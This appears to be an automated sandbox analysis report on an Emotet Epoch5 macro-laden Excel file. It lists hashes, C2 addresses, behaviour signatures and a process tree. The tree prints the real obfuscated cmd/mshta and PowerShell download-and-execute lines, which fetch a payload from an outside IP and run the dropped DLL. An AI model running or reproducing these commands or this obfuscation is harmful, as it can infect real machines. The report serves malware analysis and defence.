emotet | 04cbc0b177c15fce9d0ab4d483fae95e6eee3979d6ef931066c569b1748c3908

General

Target

04cbc0b177c15fce9d0ab4d483fae95e6eee3979d6ef931066c569b1748c3908.xlsm
Size

114KB
MD5

762dc2ad8c9f6360ee9c107028d17253
SHA1

ee1dcd803cc7fe4e267e080e6f16f09983ef3d49
SHA256

04cbc0b177c15fce9d0ab4d483fae95e6eee3979d6ef931066c569b1748c3908
SHA512

5c4ac0430e8a5c7b3deafbd08014ce97a4b0aca115ff5d8db2479f95eb5c791fd807b520c5ed2e24f9c16501e88c6c8e8116de504b24699a9aee8239d77d90dc

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/sec.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/sec.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1496	2632	cmd.exe	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 6 IoCs

flow	pid	Process
27	776	mshta.exe
35	3776	powershell.exe
37	3776	powershell.exe
40	1320	rundll32.exe
41	1320	rundll32.exe
43	1320	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
2832	rundll32.exe
2848	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Bmextznnhuzfhjb\hzse.mei	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2588	776	WerFault.exe	73

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2632	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3776	powershell.exe
3776	powershell.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
3776	powershell.exe
1320	rundll32.exe
1320	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3776	powershell.exe
Token: SeDebugPrivilege	2588	WerFault.exe

Suspicious use of SetWindowsHookEx 20 IoCs

pid	Process
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2632 wrote to memory of 1496	2632	EXCEL.EXE	71
PID 2632 wrote to memory of 1496	2632	EXCEL.EXE	71
PID 1496 wrote to memory of 776	1496	cmd.exe	73
PID 1496 wrote to memory of 776	1496	cmd.exe	73
PID 776 wrote to memory of 3776	776	mshta.exe	75
PID 776 wrote to memory of 3776	776	mshta.exe	75
PID 3776 wrote to memory of 840	3776	powershell.exe	78
PID 3776 wrote to memory of 840	3776	powershell.exe	78
PID 840 wrote to memory of 2832	840	cmd.exe	79
PID 840 wrote to memory of 2832	840	cmd.exe	79
PID 840 wrote to memory of 2832	840	cmd.exe	79
PID 2832 wrote to memory of 2848	2832	rundll32.exe	80
PID 2832 wrote to memory of 2848	2832	rundll32.exe	80
PID 2832 wrote to memory of 2848	2832	rundll32.exe	80
PID 2848 wrote to memory of 1856	2848	rundll32.exe	81
PID 2848 wrote to memory of 1856	2848	rundll32.exe	81
PID 2848 wrote to memory of 1856	2848	rundll32.exe	81
PID 1856 wrote to memory of 1320	1856	rundll32.exe	82
PID 1856 wrote to memory of 1320	1856	rundll32.exe	82
PID 1856 wrote to memory of 1320	1856	rundll32.exe	82

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\04cbc0b177c15fce9d0ab4d483fae95e6eee3979d6ef931066c569b1748c3908.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2632
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/sec.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1496
- - C:\Windows\system32\mshta.exe
    mshta http://0x5cff39c3/sec/sec.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:776
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/sec.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3776
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:840
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2832
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2848
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Bmextznnhuzfhjb\hzse.mei",VQfaGCtnfGxu
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1856
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Bmextznnhuzfhjb\hzse.mei",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1320
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 776 -s 2160
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2588

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1320-619-0x0000000000790000-0x00000000007B8000-memory.dmp

Filesize
160KB

Download
memory/1856-617-0x00000000034E0000-0x0000000003508000-memory.dmp

Filesize
160KB

Download
memory/2632-131-0x00007FFB00DC0000-0x00007FFB00DD0000-memory.dmp

Filesize
64KB

Download
memory/2632-130-0x00007FFB00DC0000-0x00007FFB00DD0000-memory.dmp

Filesize
64KB

Download
memory/2632-121-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2632-120-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2632-117-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2632-119-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2632-118-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2832-592-0x0000000004B60000-0x0000000004B88000-memory.dmp

Filesize
160KB

Download
memory/2848-601-0x0000000004A40000-0x0000000004A68000-memory.dmp

Filesize
160KB

Download
memory/2848-598-0x0000000000E50000-0x0000000000E78000-memory.dmp

Filesize
160KB

Download
memory/2848-603-0x0000000004B20000-0x0000000004B48000-memory.dmp

Filesize
160KB

Download
memory/2848-605-0x0000000004C40000-0x0000000004C68000-memory.dmp

Filesize
160KB

Download
memory/2848-607-0x0000000004CA0000-0x0000000004CC8000-memory.dmp

Filesize
160KB

Download
memory/2848-616-0x0000000004E00000-0x0000000004E28000-memory.dmp

Filesize
160KB

Download
memory/3776-524-0x000001C28E520000-0x000001C2A6600000-memory.dmp

Filesize
384.9MB

Download
memory/3776-449-0x000001C28E520000-0x000001C2A6600000-memory.dmp

Filesize
384.9MB

Download
memory/3776-366-0x000001C28E520000-0x000001C2A6600000-memory.dmp

Filesize
384.9MB

Download
memory/3776-339-0x000001C2A6D70000-0x000001C2A6DE6000-memory.dmp

Filesize
472KB

Download
memory/3776-303-0x000001C2A6CB0000-0x000001C2A6CEC000-memory.dmp

Filesize
240KB

Download
memory/3776-275-0x000001C2A65C0000-0x000001C2A65E2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads